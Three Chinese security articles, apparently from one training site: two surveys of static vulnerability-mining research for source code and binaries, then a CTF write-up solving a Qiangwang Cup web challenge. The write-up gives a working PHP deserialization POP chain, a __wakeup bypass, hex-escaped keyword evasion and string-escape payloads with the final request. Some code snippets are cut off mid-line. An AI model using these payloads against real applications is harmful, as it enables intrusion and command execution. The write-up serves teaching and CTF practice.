漏洞挖掘的艺术-面向源码的静态漏洞挖掘
亲爱的,关注我吧 文章共计4127个词 今天的内容有一些图,流量用户注意哦 和我一起阅读吧 0 软件漏洞的挖掘一直是热门的方向,安全从业者们从一开始的手工挖洞,到后来编写自己的工具实现自动化的漏洞挖掘,再到随着近年来AI的蓬勃发展,开始使用深度学习等技术辅助漏洞挖掘,乃至更进一步使用相关技术实现自动化攻防,如DARPA的CGC大赛等。技术日新月异,让人眼花缭乱,本系列文章希望通过介绍典型的代表性工作(侧重于安全学术界的Big4,即四大顶会上发表的成果),来帮助各位师傅们厘清脉络和相关技术,为之后的学术发展或职业发展给出指引,能找到可以深入挖掘发展的方向。 1 按照传统的分类方法,可以分为静态和动态漏洞挖掘技术。 静态漏洞挖掘技术指在不运行目标程序的前提下对目标程序进行分析,这里又可以分为针对源码以及针对二进制程序进行分析其词法、语法、语义等,并通过相关工具获得其AST, CFG, DDG, PDG, CPG等进行辅助分析,来挖掘漏洞。 1.1 AST即抽象语法树(Abstract Syntax Tree,AST),或简称语法树(Syntax tree),是源代码语法结构的一种抽象表示。它以树状的形式表现编程语言的语法结构,树上的每个节点都表示源代码中的一种结构。 当初学习C语言写过的辗转相除法的代码为:     while b ≠ 0         if a > b             a := a − b         else             b := b − a return a 对应的抽象语法树为: 1.2 CFG即控制流图(Control flow graph),是一个过程或程序的抽象表现,是用在编译器中的一个抽象数据结构,由编译器在内部维护,代表了一个程序执行过程中会遍历到的所有路径。它用图的形式表示一个过程内所有基本块执行的可能流向, 也能反映一个过程的实时执行过程。下图是一个包含了if和while语句的CFG 提到CFG,很多人都会想到CFI(Control Flow Integrity)控制流完整性技术,这是为了抵御控制流劫持攻击而提出的。我们知道早期的攻击会采用代码注入的方式,通过部署一段shellcode,然后将控制转向这段代码执行,为了组织这类攻击,开发了DEP(Data Execution Prevention)机制来限制内存页不能同时具备写和执行权限。攻击者为了突破DEP,来发明了基于代码重用攻击的技术,利用被攻击程序中的代码片段进行拼接形成攻击逻辑,此类技术包括Ret2libc,ROP,JOP等等,并且被证明为图灵完备的。在可计算性理论里,如果一系列操作数据的规则(如指令集、编程语言、 1.3 DDG即数据依赖图(Data flow dependency graph)以最简单的形式表示各个指令之间的数据依赖关系。这样的图中的每个节点代表一条指令,并称为“原子”节点。也可以将它们之间具有简单的def-use依赖关系的某些原子节点组合为包含多指令的较大节点。 以这段为例: for (int i = 1; i < n; i++) {   b[i] = c[i] + b[i-1]; } 代码中是一个循环体,通过多个def-use依赖关系和内存访问依赖关系构建出的DDG如下 1.4 PDG,即程序依赖图(Program Dependence Graph),是程序的一种图形表示,它是带有标记的有向多重图。系统程序依赖图是软件程序间控制依赖关系和数据依赖关系的图形表示。 1.5 CPG代码属性图(Code Property Graph)是由ShiftLeft先提出来的,如下所示 CPG为每个应用唯一的代码版本提供可扩展的和多层的逻辑表示,包括控制流图、调用图、程序依赖图、目录结构等。CPG创建了代码的多层三维表示,具有很强的洞察力,这使得开发人员可充分了解应用程序每个版本执行的内容及可能带来的风险。 2 先来看看静态分析方面针对源码的研究。针对源码的漏洞挖掘主要分为两类,分别基于中间表示和基于逻辑推理。 2.1 基于中间表示的分析技术主要包括数据流分析、控制流分析、污点分析、符号执行等。事实上,这些技术手段往往会同时应用在研究工作中。 2.1.1 数据流分析是一项编译时使用的技术,它能从中收集程序的语义信息,并通过代数的方法在编译时确定变量的定义和使用。通过数据流分析,可以不必实际运行程序就能够发现程序运行时的行为。简单地说,数据流分析就是对程序中数据的使用、定义及其之间的依赖关系等各方面的信息进行收集的过程,以点(5)进行数据流分析如下 2.1.2 控制流分析的目标是得到程序的一个控制流图(control  flow  graph)。控制流图是对程序执行时可能经过的所有路径的图形化表示。通过根据不同语句之间的关系,特别是考虑由“条件转移”、“循环”等引入的分支关系,对过程内的一些语句进行合并,可以得到程序结构。控制流图是一个有向图:图中的结点对应于程序中经过合并的基本语句块,图中的边对应于可能的分支方向,例如条件转移、循环等等,这些都是分析程序行为的重要信息。 2.1.3 污点分析是一种跟踪并分析污点信息在程序中流动的技术,其分析对象是污点信息流。污点指的是受到污染的信息。在程序分析中,将来自程序之外并且进入程序的信息当做污点信息,。根据分析的需要,程序内部使用的数据也可作为污点信息,并分析其对应的信息的流向。根据污点分析时是否运行程序,可以将其分为静态污点分析和动态污点分析。 污点分析的过程包括:识别污点信息在程序中的产生点并对污点信息进行标记;利用特定的规则跟踪分析污点信息在程序中的传播过程;在一些关键的程序点检查关键的操作是否会受到污点信息的影响。污点信息的产生点称为source点,污点信息的检查点称为sink点。 以下图为例来说明污点分析过程 将scanf所在的程序点作为source点,将通过scanf接收的用户输入数据标记为污点信息,并且认为存放它的变量x是被污染的。如果在污点传播规则中规定“如果二元操作的操作数是污染的,那么二元操作的结果也是污染的”,则对于y=x+k,由于x是污染的,因此y也被认为是污染的。一个被污染的变量如果被赋值为一个常数,它将被认为是未污染的。对于x=0,将x从污染状态转变为未污染。对于while(i<y),这句所在的程序点在这里被认为是一个sink点,如果污点分析规则规定“循环的次数不能受程序输入的控制”,那么在这里就需要检查变量y是否是被污染的。 2.1.4 符号执行是一种用符号值代替数字值执行程序的技术,符号是表示一个取值集合的记号。使用符号执行分析程序时,对于某个表示程序输入的变量,通常使用一个符号表示它的取值,这个符号可以表示程序在此处接收的所有可能的输入。此外,在符号执行的分析过程中那些不易或者无法确定取值的变量也常常使用符号表示的方式进行分析。 符号执行的分析过程大致如下:首先将程序中的一些需要关注但是又不能直接确定其取值的变量用符号表示其取值,然后通过逐步分析程序可能的执行流程,将程序中变量的取值表示为符号和常量的计算表达式。程序的正常执行和符号执行的主要去呗是:正常执行时程序中的变量可以看做被赋予了具体的值,而符号执行时,变量的值既可以是具体的值也可以是符号和常量的运算表达式。 以下图的符号执行源代码为例,函数中的参数x,y分别用符号a,b表示 基于上图的代码可以得到下图所示的程序流程图 可以看到共有三条执行路径,每条路径都对应着一个路径约束(path constrain,PC)。其中返回true的路径有一条,带入符号后,对应的路径约束为a>60&(b*2)==128;返回false的路径有两条,对应的路径约束为a<=60|(a>60&(b*2)!=128) 这个例子表明,使用符号执行技术分析程序,对于分析过程中遇到的程序中带有条件的控制转移语句(条件分支语句、循环语句等),可以利用变量的符号表达式将控制转移语句中的条件转化为对符号取值的约束,通过分析约束是否可以满足,判断程序的哪条路径是可行的。这一部分是符号执行分析的关键部分。由此将判断路径条件是否可满足的问题转化为判断符号取值的约束是否可满足的问题。而对于约束是否可满足的判断,通常使用约束求解的方法,该过程由约束求解器完成(约束求解器是对特定形式的约束表示进行求解的工具)。在符号执行的分析过程中,常使用可满足性模理论(satisfiabilti modulo therries,SMT)求解器对 2.2 基于逻辑推理的漏洞检测方法将源代码进行形式化描述,然后利用数学推理、证明等方法 验证形式化描述的一些性质,从而判断程序是否含有某种类型的漏洞。基于逻辑推理的漏洞检测方法由于以数学推理为基础,因此分析严格,结果可靠。但对于较大规模的程序,将代码进行形式化表示本身是一件非常困难的事情。所以实际上研究价值相对来说并不大。 3 相关工作 这里分别介绍针对源码的静态漏洞挖掘技术部分代表性工作。 3.1基于中间表示 发表在2018 NDSS(信息安全四大顶会之一)的K-Miner利用内核代码中高度标准化的接口实现了可扩展性良好的指针分析以及全局的上下文敏感的分析技术,支持对空指针引用、指针释放后重引用(use-after-free, UAF)、指针重释放(double free)、双重检查锁定(double-checked lock)等内存崩溃漏洞的检测。论文及论文作者在会议上的视频见文后给出的参考链接 其实现如图 具体来说,它包括四个分析阶段:在步骤1中,LLVM-IR作为vmlinux bitcode映像传递到K-Miner,以开始进行预分析,这将初始化并填充全局内核上下文。在步骤2中,此上下文信息用于分析单个系统调用,这可以连续多次运行,比如可以分析dangling pointer,use-after-free和double free。在步骤3中,通过各种验证技术对错误报告进行了清理,以降低误报率。在第4步中,使用我们的漏洞报告引擎呈现已排序的报告。 在实验中,K-Miner发现了29处可能的漏洞,总共生成了539个alert,如下所示 3.2基于逻辑推理 近年来个人没有看到有相关的工作,不过为了文章的完整性,这里介绍CCS 2002(CCS同样是四大顶会之一)的工作-MOPS。 论文中作者首先确定安全编程实践的规则,将其编码为安全属性,并验证是否遵守这些属性。由于手动验证过于繁琐,因此建立了程序分析工具来自动完成此过程。程序将要验证的程序分析建模为下推式自动机,将安全属性表示为有限状态自动机,并使用模型检查技术来确定在程序中是否可以达到违反预期安全目标的任何状态。 全文逻辑缜密,单单几张图说不清楚,建议有兴趣的师傅们自己去看看这篇论文,下面给出一个简单的例子,以进程权限系统调用为例。 进程权限模型如下 存在风险的系统调用模型如下 描述该属性的复合模型,即在特权状态下,进程不应进行有风险的系统调用。 当然,上面是非常简化的版本,建模越精细,效果自然越好。将linux 2.4.17中的进程权限模型建模如下(包括所有的rued,euid,suid等) 建模之后,文中以一个实例进行了说明 在wu-ftpdversion 2.4中找到了一个已知的安全漏洞。漏洞除了分别在信号SIGPIPE和SIGURG的处理程序中调用seteuid(0)和longjmp(env),基本类似于下图代码中的漏洞 通过在信号SIGPIPE之后立即将信号SIGURG发送到awu-ftpd进程,攻击者可以使该进程调用信号SIGPIPE的处理程序中的seteuid(0)获得特权,然后调用信号SIGURG的处理程序中的longjmp(env)返回到函数main中的setjmp(env)的调用处。 此后,wu-ftpd将使用root特权执行,从而导致攻击者具有root特权。 MOPS能够在wu-ftpd2.4 beta 11中成功检测到该漏洞。 4 参考 1.https://juejin.im/post/5cc51b096fb9a03218555972 2.http://www.jos.org.cn/html/2017/10/5317.htm 3.https://llvm.org/docs/DependenceGraphs/index.html 4.https://zhuanlan.zhihu.com/p/94611033 5.https://cs.nju.edu.cn/chenlin/pages/sat/dataflow.pdf 6.http://www.jsjkx.com/CN/article/openArticlePDF.jsp?id=10342 7.http://staff.ustc.edu.cn/~yuzhang/compiler/2017f/lectures/optimize-6in1.pdf 8.https://www.52pojie.cn/thread-861992-1-1.html 9.https://www.youtube.com/watch?v=1uLKA7Ux8hg 10.https://www.ndss-symposium.org/wp-content/uploads/2018/02/ndss2018_05A-1_Gens_paper.pdf 10.https://www.danielesgandurra.com/research/blast2008-slides.pdf 11.https://people.eecs.berkeley.edu/~daw/mops/ 12.http://people.eecs.berkeley.edu/~daw/papers/mops-ccs02.pdf 5 实验推荐--https://sourl.cn/ce6JX2 https://www.yijinglab.com/expc.do?ec=ECID3a0b-2354-465e-8484-da3525ade185Docker是近两年来十分流行的开源容器引擎,Vulhub是一个面向大众的开源漏洞靶场。通过本实验了解Docker的使用,掌握使用Vulhub靶场环境进行漏洞复现。
漏洞挖掘的艺术-面向二进制的静态漏洞挖掘
亲爱的,关注我吧 8/31 文章共计3165个词 今天的内容有一些图,流量用户注意哦 和我一起阅读吧 0 本文是本系列的第二篇,将对面向二进制程序的静态漏洞挖掘技术进行介绍与分析。 面向二进制程序的静态漏洞的挖掘技术由于缺少源代码中的结构化信息,面临着值集分析(vaule-set analysis,VSA)与控制流恢复不精确的问题,但是二进制程序相对于源码而言更容易获得,所以这方面的研究工作一直都有新的研究动态,并且会在第2部分介绍目前流程的两种技术。在进一步分析之前,我们首先来具体解释前文提出的两个问题。 1 1.1 值集分析是一种结合数值分析和指针分析的静态分析算法。VSA是一种基于抽象解释的、流敏感、上下文敏感、支持过程间分析的方法。VSA首先建立抽象内存模型,恢复可执行程序中的变量并用抽象地址表示,然后对每条指令静态计算抽象地址可能包含的值的集合。 典型的值集分析算法的伪码表示如下 上图的集合W被称为word-list,其操作包括add,removeNext,分别用于添加和移除项。Word-list按照拓扑顺序进行排序,初始化时包含着基本块的入口点,用于指示从此处开始正向分析。while循环的每次迭代里,Analysis函数都会在第6行被调用来分析选中的基本块。Analysis会基于输入状态产生大量的输出状态,那些变化的输出状态会被添加到word-list中。当在同一基本块上有两个输入状态时,VSA将在第11行将两个输入状态合并为新的输入状态。合并操作将合并抽象状态中每个变量的值集。变量的合并运算方程式如下所示 当程序读写内存时,根据目的地址的值集和将要读写的内存地址的长度,我们可以检测出它是否超过了对应变量的空间大小。如果超过,则可以作为一个潜在的漏洞上报。然而,由于VSA获得的值集是近似的,并不精确,所以可能会导致较高的误报率。 这里有篇19年的硕士论文《二进制程序Use-After-Free漏洞挖掘技术研究》,里面介绍了基于值集分析来挖掘UAF,感兴趣的可以看看。 另外,这篇论文《DEEPVSA: Facilitating Value-set Analysis with Deep Learning for Postmortem Program Analysis》发表于USENIX Security 2019(信息安全领域四大顶会之一),介绍通过深度学习来辅助值集分析的研究。 1.2 控制流恢复不精确指的是静态分析不需要执行程序,只通过对二进制文件的结构和指令操作码进行分析,静态分析重视全局程序分析,因而有很高的代码覆盖率,但由于无法解决间接跳转的问题,导致无法获取完整的控制流信息。 我们来看看控制流图的静态恢复。 1.2.1 对二进制代码进行控制流分析,首先要完成对二进制代码的静态反汇编。根据区分代码和数据方式的不同,可以将静态反汇编策略分为:线性扫描反汇编、递归反汇编和启发式反汇编三种。目前应用最广的静态反汇编策略是基于程序静态控制流程的递归策略,IDA使用的就是递归下降的算法。由于这不是本文重点,就不展开了。 1.2.2 接下来就是基本块的划分 基本块是程序中一组顺序执行的语句序列,其中只有一个入口语句和一个出口语句。基本块是具有原子性的一组连续语句序列,控制从第一条语句流入,从最后一条语句流出,中途没有停止或分支,意味着当程序跳转至某基本块时,该基本块中的所有指令都将被执行到[9]。因此,覆盖执行了该基本块就等同于覆盖了基本块所有指令。以基本块为单位对反汇编效果 进行分析,相比于指令级粒度的分析更加高效。 基本块入口定义: a)代码片段标签(_start 和_main 等是出现在代码段前的标 志)的下一条指令; b)CALL 指令在指令顺序流的下一条指令; c)跳转语句在指令顺序流的下一条指令。 基本块出口定义: a)代码片段的最后一条指令; b)CALL 指令; c)跳转指令; d)返回指令。 一般采用线性扫描指令的方法实现基本块的划分,如下所示 完成基本块划分之后,需要构建基本块之间的控制流关系 1.2.3 最后一步就是CFG控制流分析 如果在一个有序代码中,基本块 B2 跟在 B1 后,那么产生一个由 B2 指向 B1 的有向边。在对目标二进制程序完成基本块划分后,需要对基本块间的控制流转向进行分析,完成控制流的绘制,伪码如下 input:基本块列表 block output:CFG for i=1 to n do x=block[i]_lastinstr if x is a CTI then 建立一条由 block[i]到 x 跳转的 target 所在的 block[j]的有向边 else if x not a CTI then 建立由 block[i]到 block[i+1]的边 end for return CFG 2 当前,二进制静态漏洞挖掘技术主要包括基于模式匹配和基于补丁比对的技术。 2.1什么是模式匹配? 在计算机科学中,模式匹配是检查给定的标记序列是否存在某些模式的组成部分的行为。与模式识别相反,匹配通常必须精确:“匹配或不匹配。”图案通常具有序列或树形结构的形式。模式匹配的用途包括输出令牌序列中模式的位置,输出匹配模式的某些组成部分以及将匹配模式替换为其他某些令牌序列。 针对二进制程序分析时,一般不会单独应用模式匹配技术,比如会和VSA相结合。以GUEB为例,其提出了二进制程序中UAF漏洞模式,并基于此模式挖掘出了ProFTPD程序中的漏洞。具体而言,首先抽象出二进制函数中的内存模型,然后采用VSA分析技术追踪堆分配和释放指令相关的操作变量,并基于此建立UAF模式。 全文是以一个例子进行驱动的,源码如下 这里注意,这里虽然给出了代码,但是文中的工作都是从二进制层面展开的,给出源码是为了方便说明。 首先抽象出内存模型 我们假设堆栈中的地址表示为相对于基址寄存器EBP的偏移量。由于过程间分析是通过过程内联实现的,因此每个堆栈元素都由(EBP0,偏移量)表示,其中EBP0是EBP的初始值。例如,p_index由(EBP0,−24)表示,p_global_save由(EBP0,−36)表示。全局变量具有由标识符表示的常量地址,此处为变量名(例如pglobal)。对于堆,我们将HE定义为所有可能的堆元素的集合。HE的元素是(基址,大小),其中base是分配识别符,size是分配大小。这样的一对也称为一个chunk.PC是所有程序指针的集合。我们定义了HA和HF,这两个函数分别关联每个点上所有当前分配或者未分配的集合 接着进行VSA,结果如下 GUEB的最后一步,即从二进制层面提取出UAF漏洞模式的子图,如下所示 此子图对于研究UAF是否可利用以及如何利用非常有用:例如,在我们的示例中,在第33行释放和取消引用时是否发生了新的malloc。 2.2 补丁指的是软件开发商为了修补软件系统的各种漏洞或缺陷所提供的修补程序。对于开源软件,补丁本身就是程序源代码,打补丁的过程就是用补丁中的源代码替换原有的代码。而对于闭源软件,厂商只提供修改后的二进制代码,例如微软的Windows系统补丁。这时就需要使用二进制代码比对技术,定位补丁所修补的软件漏洞。 基于补丁对比的漏洞挖掘, 是指通过比较分析原始程序与漏洞修复后的更新程序的差异, 依据已知漏洞对应的软件缺陷位置寻找新漏洞的一种漏洞挖掘方法.补丁发布与部署之间存在较长的时间窗口, 因此, 通过补丁漏洞挖掘迅速提取漏洞特征, 对于软件运行安全检测和防护具有重要意义.目前, 软件自身的复杂性导致简单地进行指令对比难以快速逆向恢复漏洞细节并理解漏洞机理.与漏洞不相关的补丁修改造成相当程度的干扰, 补丁漏洞挖掘仍然需要软件基础理论的支撑.为此, 研究人员提出了多种基于图比较算法发现程序差异的基础分析工具, 如IDACompare、EBDS、BinDiff等.补丁漏洞挖掘的代表性工作是Brumley团 APEG核心思路是基于以下的假设条件,即补丁程序中增加了对触发原程序崩溃的过滤条件。因此,只要能够找到补丁程序中添加过滤条件的位置,同时构造 不满足过滤条件的“违规”输入,即可认为是原始程序的一个可利用的输入候选项。 该工作主要分为三个步骤:首先,利用二进制差异比较工具(例如 BinDiff 与 EBDS 等)找到补丁存在的位置,即补丁程序的检测点; 其次,找出不满足补丁程序检测点的输入数据作为原始程序的利用候选项; 最后,利用污点传播等监控方法筛选所有能够对原始程序造成溢出或者控制流劫持等崩溃发生的有效利用。 根据对微软所发布的多个补丁程序的实验结果表明,该方法具有较强的可靠性和实用性。 APEG 是对漏洞利用自动化构建的首次尝试,虽然核心思想较为简单,但由于其具有很强的可操作性,因此也得到了其他研究人员的普遍认可。 3 参考 1.http://blog.amossys.fr/intro-to-use-after-free-detection.html 2.https://www.bookstack.cn/read/CTF-All-In-One/160851 3.https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=8805076 4.http://www.jsjkx.com/CN/article/openArticlePDF.jsp?id=7401 5.http://jifeng-xuan.com/page/paper/jos_19.pdf 6.《软件漏洞自动利用研究进展》 7.https://www.slideserve.com/oriel/automatic-patch-based-exploit-generation-is-possible-techniques-and-implications-powerpoint-ppt-presentation 8.http://www.jos.org.cn/html/2018/1/5320.htm 9.《从自动化到智能化:软件漏洞挖掘技术进展》 4 实验推荐--https://sourl.cn/ggGUiS 栈溢出是由于C语言系列没有内置检查机制来确保复制到缓冲区的数据不得大于缓冲区的大小,因此当这个数据足够大的时候,将会溢出缓冲区的范围。 5 相关阅读--https://www.yijinglab.com/html/news/news.html?newsId=NEWS-6f7-4181-4c0e-a18d-9b186f2524b6
细说强网杯Web辅助
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆ 文章共计1908个词 包括三段长代码 今天的内容无图,流量不预警 和我一起阅读吧 ◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆ 1 写在前面 这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程 2 题目源码 index.php 获取我们传入的username和password,并将其序列化储存 ... if (isset($_GET['username']) && isset($_GET['password'])){     $username = $_GET['username'];     $password = $_GET['password'];     $player = new player($username, $password);     file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));      echo sprintf('Welcome %s common.php 这里面的read,write有与'\0\0', chr(0)."".chr(0)相关的替换操作,还有一个check对我们的序列化的内容进行检查,判断是否存在关键字name,这里也是我们需要绕过的一个地方 <?php function read($data){     $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);     var_dump($data);     return $data; } function write($data){     $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);     return $data; } function check($data) {     if(stristr($data, 'name')!==False){     play.php 在写入序列化的内容之后,访问play.php,如果我们的操作通过了check,然后经过了read的替换操作之后,便会进行反序列化操作 ... @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))))); ... class.php 这里存在着各种类,也是我们构造pop链的关键,我们的目的是为了触发最后的cat /flag <?php class player{     protected $user;     protected $pass;     protected $admin;     public function __construct($user, $pass, $admin = 0){         $this->user = $user;         $this->pass = $pass;         $this->admin = $admin;     }     public function get_admin(){         $this->admin = 1;     3 涉及考点 ● POP链的构造 ● __wakeup的绕过 ● 关键字“name”检测绕过 ● 反序列化字符串逃逸 4 题目出现的魔术方法 ● __construct:构造函数,具有构造函数的类会在每次创建新对象时先调用此方法 ● __destruct: 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行 ● wakeup:unserialize()会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 ● invoke:当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用 ● __toString():用于一个类被当成字符串时应怎样回应 5 POP链 POP链:如果我们需要触发的关键代码在一个类的普通方法中,例如本题的system('cat /flag')在jungle类中的KS方法中,这个时候我们可以通过相同的函数名将类的属性和敏感函数的属性联系起来 6 POP链的构造 这里涉及到三个类,topsolo、midsolo、jungle,其中观察到topsolo类中的TP方法中,使用了$name(),如果我们将一个对象赋值给$name,这里便是以调用函数的方式调用了一个对象,此时会触发invoke方法,而invoke方法存在与midsolo中,invoke()会触发Gank方法,执行了stristr操作。  我们的最终目的是要触发jungle类中的KS方法,从而cat /flag,而触发KS方法得先触发__toString方法,一般来说,在我们使用echo输出对象时便会触发,例如: <?php class test{     function __toString(){         echo "__toString()";         return "";     } } $a = new test(); echo $a; //输出:__toString() 在common.php中,我们并没有看到有echo一个类的操作,但是有一个stristr($this->name, 'Yasuo')的操作,我们来看一下: <?php class test{     function __toString(){         echo "__toString()";         return "";     } } $a = new test(); stristr($a,'name'); //输出__toString() 所以整个POP链已经构成了 topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem('cat /flag') 即 <?php class topsolo{     protected $name;     public function __construct($name = 'Riven'){         $this->name = $name;     } } class midsolo{     protected $name;     public function __construct($name){         $this->name = $name;     } } class jungle{     protected $name = ""; } $a = new topsolo 在midsolo中wakeup需要绕过,老套路了,序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行,这里我将1改为2 O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D O:7:"topsolo":1:{s:7:"\000*\000name";O:7:"midsolo":2:{s:7:"\000*\000name";O:6:"jungle":1:{s 7 关键字“name”检测绕过 ··· function check($data) { if(stristr($data, 'name')!==False){ die("Name Pass\n");     } else{ return $data;     } } ··· 这里使用十六进制绕过\6e\61\6d\65,并将s改为S O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D 8 字符串逃逸 访问index.php,传入数值,得到序列化内容 O:6:"player":3:{s:7:"\0*\0user";s:0:"";s:7:"\0*\0pass";s:126:"O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:0:"";}}}";s:8:"\0*\0admin";i:0;} 可以看到对象topsolo,midsolo被s:102,所包裹,我们要做的就是题目环境本身的替换字符操作从而达到对象topsolo,midsolo从引号的包裹中逃逸出来 ··· function read($data){     $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);     var_dump($data); return $data; } function write($data){     $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data); return $data; } ··· 在反序列化操作前,有个read的替换操作,字符数量从5位变成3位,合理构造username的长度,经过了read的替换操作后,最后将";s:7:"\0\0pass";s:126吃掉,需要吃掉的长度为23,因为5->3,所以得为2的倍数,需要在password中再填充一个字符C,变成24位,所以我们一共需要构造12个\0\0来进行username填充,得到username username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0 在password中补上被吃掉的pass部分,构造password的提交内容 password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D 最后提交 ?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65% 然后访问play.php即可得到flag 9 实验推荐--https://sourl.cn/8u7Pyg 通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。